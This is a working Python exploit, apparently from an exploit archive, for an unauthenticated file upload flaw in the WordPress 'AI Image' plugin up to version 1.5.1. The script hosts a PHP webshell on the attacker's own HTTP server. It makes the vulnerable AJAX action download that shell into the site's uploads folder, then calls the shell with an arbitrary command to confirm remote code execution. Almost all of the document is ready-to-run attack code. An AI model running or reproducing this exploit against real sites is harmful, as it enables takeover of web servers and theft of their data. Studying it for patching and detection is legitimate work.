Share
## https://sploitus.com/exploit?id=PACKETSTORM:226408
#!/usr/bin/env python3
# Exploit Title: WordPress Plugin AI Image (WP AI Image Generator) <= 1.5.1 - Unauthenticated Arbitrary File Upload to RCE
# Google Dork: N/A
# Date: 2026-07-10
# Exploit Author: A. Ramos <aramosf@gmail.com> / @aramosf
# Vendor Homepage: https://wordpress.org/plugins/ai-image/
# Software Link: https://downloads.wordpress.org/plugin/ai-image.1.5.1.zip
# Version: 1.5.1 (REQUIRED)
# Tested on: WordPress 6.6.2, PHP 8.2, MariaDB 10.11 (Docker, Debian 12 / Linux)
# CVE : CVE-2024-52377
"""
AI Image <= 1.5.1 registers the unauthenticated AJAX action `upload_image_to_wp`.
The handler fetches attacker-controlled `image_url` with file_get_contents() and writes it to
the current uploads directory using basename(image_url), without validating the extension or
requiring a nonce/capability (inc/generator/demo-media/demo-media.php:74-121, 163-164).
Pointing it at a .php payload therefore writes an executable webshell.
"""
import argparse, sys, time, os, threading, http.server, socketserver, datetime
import requests
requests.packages.urllib3.disable_warnings()
TOK = "AIIMG_PWNED"
def main():
ap = argparse.ArgumentParser()
ap.add_argument("--target", required=True)
ap.add_argument("--lhost", default="host.docker.internal")
ap.add_argument("--lport", type=int, default=8971)
ap.add_argument("--cmd", default="id")
ap.add_argument("--name", default="aishell_"+os.urandom(3).hex()+".php")
a = ap.parse_args(); base = a.target.rstrip("/")
pl = ("<?php echo '%s:'; if(isset($_GET['c'])) system($_GET['c']); ?>" % TOK).encode()
class H(http.server.BaseHTTPRequestHandler):
def do_GET(s): s.send_response(200); s.send_header("Content-Length", str(len(pl))); s.end_headers(); s.wfile.write(pl)
def log_message(s, *x): pass
socketserver.TCPServer.allow_reuse_address = True
hd = socketserver.TCPServer(("0.0.0.0", a.lport), H)
threading.Thread(target=hd.serve_forever, daemon=True).start(); time.sleep(0.5)
u = "http://%s:%d/%s" % (a.lhost, a.lport, a.name)
print("[*] Target:", base, "| payload:", u)
r = requests.post(base + "/wp-admin/admin-ajax.php",
data={"action": "upload_image_to_wp", "image_url": u},
timeout=30, verify=False)
print("[*] upload_image_to_wp ->", r.status_code, r.text[:160]); time.sleep(1)
now = datetime.datetime.now(datetime.timezone.utc)
for p in ["/wp-content/uploads/%d/%02d/%s" % (now.year, now.month, a.name),
"/wp-content/uploads/%s" % a.name]:
rr = requests.get(base + p, params={"c": a.cmd}, timeout=15, verify=False)
if TOK in rr.text:
print("\n[+] RCE CONFIRMED at", p); print(rr.text.split(TOK + ":")[1].strip()); hd.shutdown(); return 0
print("\n[-] not confirmed"); hd.shutdown(); return 1
if __name__ == "__main__":
sys.exit(main())